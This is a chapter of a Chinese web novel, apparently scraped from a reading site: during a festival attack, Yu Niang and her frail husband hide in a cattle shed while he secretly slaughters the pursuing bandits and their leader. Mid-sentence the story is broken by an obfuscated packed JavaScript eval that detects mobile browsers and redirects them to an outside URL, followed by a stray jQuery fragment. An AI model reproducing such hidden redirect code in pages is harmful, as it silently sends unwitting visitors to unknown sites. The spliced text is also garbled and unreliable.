默认冷灰
24号文字
方正启体

6. 第6章

作者:诗瓷本书字数:K更新时间:
    “大人看!”


    俞远丰被底下人叫来,刚走至栏杆处就看到了地上躺着的一副尸体,双眼被利刃刺瞎,血迹糊满整张脸。


    俞远丰上脚将人踢翻个身,只见其中一个利刃是直直贯穿了他的整个脑袋,血肉模糊,惨不忍睹。


    俞远丰不由沉脸道:“下手竟如此狠毒。”尽管说着这话,眼底却还是透着几分赏识。


    他又问:“是怎么被杀的?”


    底下人解释了一番,又指了指人群中逃亡的二人道:“大人,是你说要捉拿的小娘子身边人干的!”


    底下人话语中不由多了几分惧意,还忍不住咽了口唾沫。


    俞远丰阴冷的视线横扫全场道,冷声道:“怕什么?都给我打起精神来,这样厉害的人物,我倒要亲自会一会!”


    .


    玉娘好不容易找到了严绥,二人又随着人群一起跑。


    那恐惧慌张的氛围笼罩着,玉娘还担心不见了的嬷嬷与韩泰,又顾念着夫君的身子。


    她焦虑万分,一边跑一边生气道:“好端端的游神祭,被这群天杀的贼寇给毁了!不是说盛京还来明城司的人吗,他们传得那么神通广大……现在人也不知道去哪儿了!”


    玉娘说完这话,感受到夫君投来奇怪的视线,面色立转,冲他一笑:“夫君,我这也是急了,你也知道,平日里我不这么说话。”


    平日里她温柔着呢。


    人群越跑越开,玉娘带着严绥也进了一条狭小的黑巷,就冲着看不清,或许那些贼寇不会追到这里来。


    七绕八绕,恰见一道微掩的木门,玉娘立马牵着严绥进去。


    扑面而来的牲口味与霉味,脚踏进去就是软绵绵的,都是微潮的干草,玉娘没走几步,手肘就碰到了硬物,原是几道栏杆。


    这么一碰,一声哞声顿起,随后哞声此起彼伏——原来这里真养着牲口。


    没有嘈杂的声音,更没有跟来的脚步声。


    这里除了牛哞,寂静无比。


    玉娘总算松了口气道:“夫君,我们在这处躲一会儿,那些贼寇或许等会儿就走了,也不知道他们要干什么……”


    这时天淅淅沥沥下起雨来,屋顶破落,雨顺着口子滴落。


    玉娘的脖颈处也被滴到了几滴,冬日里的雨水,冰冷刺骨,冻得她浑身打颤。


    “来这儿。”


    玉娘被夫君拉到没雨的暗处,这处狭窄,二人身子离得更紧了些。


    玉娘与夫君相处这三月来,虽有过亲近时刻,但也不过是肩膀碰肩膀,不像现在二人在咫尺之间,连呼吸都交织在了一起。


    夫君身上常有的那股药味本就好闻,此刻离得这么近,玉娘鼻口之间皆是他的味道。


    那清冷的药味似乎都夹杂了一股热气,烘得她耳根燥热。


    玉娘忍不住抬眸,看见的是他干净利落的下颚与俊美的面容,想起了方才自己的双手就这么捧着他的脸,还捏了好几下。


    夫君平日里话少内敛,可实际上对她很是纵容。


    视线往上移,玉娘盯着那一向冷敛的薄唇,突然好奇,这个唇吻起来又是怎样的?


    她在想什么?


    玉娘耳根的嫣红蔓延到了脸颊,心跳也跳得愈发快。


    这时夫君低沉问道:“你在想什么?”


    玉娘的脸更红了,整个脸烫烫的,她低下头,轻‘啊’了一声,假装抱怨道:“这地儿潮湿得很,又下雨,我的衣裳都湿了。”


    这么一说,整个气氛变得更为粘稠,呼吸声都比之前更重了些。


    她只是想扯开话题!


    玉娘连忙又道:“我没有别的意思,我的意思是我的鞋子与衣裳都湿了,还有一股牲口味,但这是我最喜欢的衣裳呢……”


    好了,不解释还好,一解释出来,气氛比之前更暧昧了。


    什么叫别的意思?别的意思又是什么意思?


    玉娘欲哭无泪,她真的不想夫君误会她在勾引他啊。


    夫君这时开口,声音温淡:“我明白你的意思。”


    ……


    玉娘不想继续与他说这件事了,声音轻细又带了丝蛮气道:“反正,你得给我买新衣裳。”


    夫君嗯了一声。


    玉娘又补充道:“用你的月例。”


    夫君胸膛微震,发出低笑,这低笑中还带着一丝难以发觉的,不胜情浓的轻颤。


    玉娘被这笑惹得又脸红,佯装生气道:“你笑什么?用你的月例不行吗?”


    夫君收起笑意,回道:“好,用我的月例。”


    就在这时,屋外隐隐约约传来几阵脚步声,脚步整齐,停停走走,还有兵刃相碰声。


    那群贼寇竟然过来了!


    玉娘身子顿时一僵,心想,他们到底要干什么,这么看根本不是为了杀人夺财,也不是为了扰乱游神祭,倒像是找人……


    是了,肯定为了找人,这脚步不像是有目的地,但要找谁呢?


    总不是找她与夫君的吧?她与夫君不过是一对寻常的小夫妻,怎么可能与贼寇扯上关系!


    但世上被枉杀与出意外的人那么多,就算不是找自己的祸事,回头被看见了也就随意杀了也不是不可能发生,更何况对方还是一群杀人如麻的贼寇!


    随着脚步声愈来愈近,玉娘手心发凉,难道她与夫君真要死在这牲口棚了吗?


    就不能换个好地方死吗,玉娘心想。


    “我出去,”这时,夫君低声道,“你待着,不要动。”


    玉娘死死扯住夫君的衣袍,狠狠摇头。


    他疯了?


    他这个身子,一出门碰上那贼寇,不是必死无疑吗?


    “不行,你绝对不能出去,”玉娘手心将他的衣袍攥的更紧,又强调道:“绝对,绝对不能。要出去也是我出去。”


    指不定她还跑得快些,但得把那劳什子花冠给扔了……她之前还想着带回府好好摆起来呢。


    玉娘几乎用了全身力气阻止夫君。


    夫君一向平淡的语气都多了一丝恼意:“……姚玉,你松开我,你怎么这么固执?”


    “固执……你居然说我固执。”玉娘有些委屈,她这是担心他,他居然说她固执。


    现在要不是危机时刻,她真要与他好好掰扯清楚,她怎么就固执了!


    夫君又道:“让我出去,我一定活着回来。”


    或许是他要出去的决心太甚,又或许是他给的保证太真,玉娘缓缓松开了手指。


    夫君几乎没有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268482|182195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    任何犹豫出了门。


    玉娘方才用的力气过大,这下浑身发软,瘫坐在地上。


    她回过神发生了什么,眼眶发红,面如死灰。


    好了好了,这下都没了,好夫君没了,好日子也没了。


    她用衣袖抹着泪对那群牛哭哭啼啼道:“还是你们过得舒服,吃几根草就行了,我就惨了。”


    回应她的是一群哞叫。


    玉娘叹了口气,抬眼望着屋顶那破了的口子,方才细细密密的雨已经变得豆大,砸在屋顶上砰砰响。


    这雨怎么越下越大了?


    .


    豆大的雨珠砸在地上,打散了从尸体上流出的鲜血,又交融在一起,往四处流淌。


    俞远丰踏进血水里,面对着眼前的一群断肢残骸,不由心惊。


    他不过后到一步,此人竟把他底下人全部杀完了?还虐杀成这样,倒像是在享受这过程!


    而且照这些尸体的伤口来看,刀法利落迅速,可见下手之时,那叫一个手起刀落!


    心性这般,又有如此刀法,如若王爷招纳此人,又得一大助力!


    俞远丰刚想说几句好话,但很快暗黄眼珠一转。


    不,这人一直在李菩宁身边,护她保她,明显是知道她的身份了!


    这世上知道李菩宁还活着的人不多,上面那位只想让她过普通百姓的日子,根本不会派人前来。


    而王爷此次的秘密行动除了陈煦之与他也无人知晓。


    那就还有齐王,难道齐王知道了王爷的行动?特地来截人?


    但无论是谁在背后,今日李菩宁,他捉定了!


    俞远丰阴狠之气凝于眼底,但见一温润男人从阴暗中缓步提刀走来。


    那随意淡然的样子,根本不像是刚刚制造了一个屠场,反而像是在自家庭院信步。


    随着薄冷的月光逐渐照清他疏淡面容,俞远丰大惊。


    “严公子,竟然是你。”


    俞远丰缓缓说了一句,压下眼底警惕与诧异。


    严氏的这位嫡长公子相比于谢氏的谢玄礼,不常出现,神秘得很,但他跟随王爷许久,也听闻过这所有世家公子中,无论才能还是气度,当属这位第一。


    可眼前这仿佛从阎王殿走出来的人,哪像是名声那么好听的人?


    想他活了大半辈子,第一次走眼走得那么厉害。


    可俞远丰根本没有等到严绥的一句话。


    瞳孔中远处的刀尖以破空之势袭来,气势如山如海,路数又阴诡难测非常。


    俞远丰下意识回招。


    可没对上几招就觉得自己好像一只小船漂泊在茫茫大海,万仗洪涛、呼啸狂风疯狂涌来,而他无路可走,无计可施!


    雨下得越来越大了。


    嘈杂的雨声夹杂着双刀碰撞声,还有俞远丰的声声惨叫声。


    俞远丰浑身鲜血淋漓,扑倒在地,口齿间全是血,他看着严绥的脚步一步一步走来,忽然又看到了什么,顿时目眦尽裂:“你是……你是……明城司的……”


    严绥淡薄的视线睨下,踩断了俞远丰的脖颈。


    这时何鼎带着众人刚赶了过来,还没开口,就听见巷口传来一道轻细的喊声:“夫君,夫君,你在哪儿啊?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)